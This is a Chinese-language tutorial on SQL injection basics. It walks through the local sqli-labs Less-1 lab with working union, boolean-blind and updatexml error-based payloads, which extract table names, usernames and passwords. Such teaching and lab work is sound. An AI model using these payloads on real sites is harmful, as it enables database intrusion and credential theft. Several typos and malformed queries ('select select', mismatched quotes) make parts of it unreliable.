您好,登錄后才能下訂單哦!
這篇文章主要介紹“web安全中SQL注入基礎知識點有哪些”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“web安全中SQL注入基礎知識點有哪些”文章能幫助大家解決問題。
就是指web應用程序對用戶輸入數據的合法性沒有判斷,前端傳入后端的參數是攻擊者可控的,并且參數帶入數據庫查詢,攻擊者可以通過構造不同的SQL語句來實現對數據庫的任意操作。
開發人員可以使用動態SQL語句創建通用,靈活的應用。動態SQL語句是在執行過程中構造的,它根據不同的條件產生不同的sql語句。當開發人員在運行過程中需要根據不同的查詢標準決定提取什么字段(如select語句),或者根據不同的條件選擇不同的查詢表時,動態地構造SQL語句會非常有用。
Php語句為列:
$query=“SELECT * FROM users WHERE id = $_GET[‘id’]”;
由于這里的參數ID可控,且帶入數據庫查詢,所以非法用戶可以任意拼接SQL語句進行攻擊。
參數用戶可控:前端傳給后端的參數內容是用戶可以控制的。
參數帶入數據庫查詢:傳入的參數拼接到sql語句,且帶入數據庫查詢。
當傳入ID參數為1'時,數據庫執行的代碼如下所示。
sehlect * from users where id =1'
這樣是會報出錯誤的,因為這不符合數據庫語法規范。
當傳入的ID參數為and 1=1 時,執行的SQL語句如下所示。
select * from users where id = 1' and 1=1
因為1=1為真,且where語句中id1=1也為真,所以頁面會返回與id=1相同的結果。
當傳入的ID參數為and 1=2時,由于1=2不成立,所以返回假,頁面就會返回與id=1不同的結果。
由此可以初步判斷ID參數存在SQL注入漏洞,攻擊者可以進一步拼接SQL語句進行攻擊,致使數據庫信息泄露,甚至進一步獲取服務器權限等。
—————————————————————————————————————————————————————
在實際環境中,凡是滿足上述兩個條件的參數皆可能存在SQL注入漏洞,因此開發者需秉持“外部參數皆不可信的原則”進行開發。
—————————————————————————————————————————————————————
數據庫A=網站A
表名
列名
數據
數據庫 B=網站B
數據庫
在MySql5.0 版本之后,MySql默認在數據庫中存放一個“information_schema”
的數據庫,在該庫中,讀者需要記住三個表名,分別是
SCHEMATA,TABLES,COLUMNS
SCHEMNSz表存儲該用戶創建的所有數據庫的庫名,我們需要記住該表中記錄數據庫庫名的字段名為SCHEMA_NAME
TABLES
表存儲該用戶創建的所有數據庫的庫名和表名,我們需要記住該表中記錄數據庫庫名和表名的字段名分別為TABLE_SCHEMA和TABLE_NAME
。
COLUMNS
表名和字段名的字段名為TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME
。
在不知道任何條件時,語句如下所示。
SELECT 要查詢的字段名 FROM 庫名.表名
在知道一條已知條件時,語句如下所示。
SELECT 要查詢的字段名 FROM 庫名.表名 WHERE 已知條件的字段名=‘已知條件的值’
在知道兩條已知條件時,語句如下所示。
SELECT 要查詢的字段名 FROM 庫名.表名 WHERE 已知道條件1的字段名=‘已知條件1的值’ AND 已知條件2的字段名=‘已知條件2的值’
Limit的使用格式為limit m,n, 其中m是指記錄開始的位置,從0開始,表示第一條記錄;n是指取n條記錄。
例如limit 0,1表示從第一條記錄開始,取一條記錄,
Database():當前網站使用的數據庫
Version():當前MySQL的版本
User():當前MySQL的用戶
在MySQL中,常見注釋符的表達方式:#或-- 空格或/**/
內聯注釋的形式:/! code/。內聯注釋可以用于整個SQL語句中,用來執行我們的SQL語句,下面舉一個列:
index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
在線靶場
http://127.0.0.1/sqli-labs/Less-1/?id=1
http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+
https://blog.csdn.net/qq_41630808/article/details/80570197
正常輸出
出錯代表沒有閉合 說明沒有用’可能沒有用' 或用了"或()
http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+
則是''字符串注入
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判斷是否有3列
正常
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判斷是否有4列
錯誤
說明它輸出的內容所在的數據庫有3列
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
則 Your Login name 在第二列Your Password在第三列
我選擇在第二列輸出我想要的內容
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+
root權限
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
表名是 emails,referers,uagents,users
group_concat()會計算哪些行屬于同一組,將屬于同一組的列顯示出來。要返回哪些列,由函
數參數(就是字段名)決定
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+
這樣 這個就完成了 已經拿到了賬號密碼
在Union注入頁面中,程序獲取GET參數ID,將ID拼接到SQL語句中,在數據庫中查詢參數的ID對應的內容,然后將第一條查詢結果中的username
和address
輸出到頁面,
由于是將數據輸出到頁面上的,所以利用Union語句查詢其他數據,代碼如下:
![
](http://ww1.sinaimg.cn/large/007bHQE8gy1g58le58wz5j30ou0bo77h.jpg)
當訪問id=1 union select 1,2,3
時,執行的SQL語句為:
`Select * from users where ‘id’=1 union select 1,2,3``
此時sql語句可以分為select \* from users where ‘id’=1
和union select 1,2,3
兩條,利用第二條語句(Union查詢)就可以獲取數據庫中的數據。
(優化在源碼中添加sql語句執行代碼)
1' and length(database())>=1--+ //判斷數據庫的長度
l' and substr(database(),1,1)=‘t’ --+ //判斷數據庫第一個字母的值
l' and substr(database(),2,1)=‘q’ --+ //判斷數據庫的第二個字母的值
l' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判斷數據庫庫名
l' and substr(database(),2,1)=’q’--+ //利用substr判斷數據庫的庫名
l' and substr(select table_name from information_schema.table where table_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判斷數據庫的表名
1. length(str)
:返回str字符串的長度。
2. substr(str, pos, len)
:將str從pos位置開始截取len長度的字符進行返回。注意這里的pos位置是從1開始的,不是數組的0開始
3. mid(str,pos,len):
跟上面的一樣,截取字符串
4. ascii(str)
:返回字符串str的最左面字符的ASCII代碼值。
5. ord(str):
同上,返回ascii碼
6. if(a,b,c) :a
為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
在Boolean注入頁面中程序先獲取GET參數ID,通過preg_match判斷其中是否存在union/sleep/benchmark等危險字符。然后將參數ID拼接到SQL語句,從數據庫中查詢,
當訪問id=1‘ or 1=1%23時,數據庫執行的語句為selcet * from user where ‘id’=’1’ or 1=1#,由于or 1=1是永真條件,所有此時返回正常。當訪問id=1‘ and 1=2%23時,
數據庫執行的語句為select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假條件,所有此時頁面肯定會返=返回錯誤。
updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ //利用updatexml獲取user()
‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ //利用updatexml獲取database()
`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+** //**利用報錯注入獲取數據庫庫名
‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1)--+ //利用報錯注入獲取數據庫表名
## 報錯注入攻擊代碼分析 **在報錯注入頁面中,程序獲取GET參數username 后,將username拼接到SQL語句中然后,然后到數據庫查詢。** ![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58lsi2dz3j30ua0a9419.jpg) 輸入username=1‘時,SQL語句為select * from user where ‘username’=‘1“。執行時會因為多了一個單引號而報錯。利用這種錯誤回顯,我們可以通過floor(),updatexml() 等函數將要查詢的內容輸出到頁面上。
關于“web安全中SQL注入基礎知識點有哪些”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。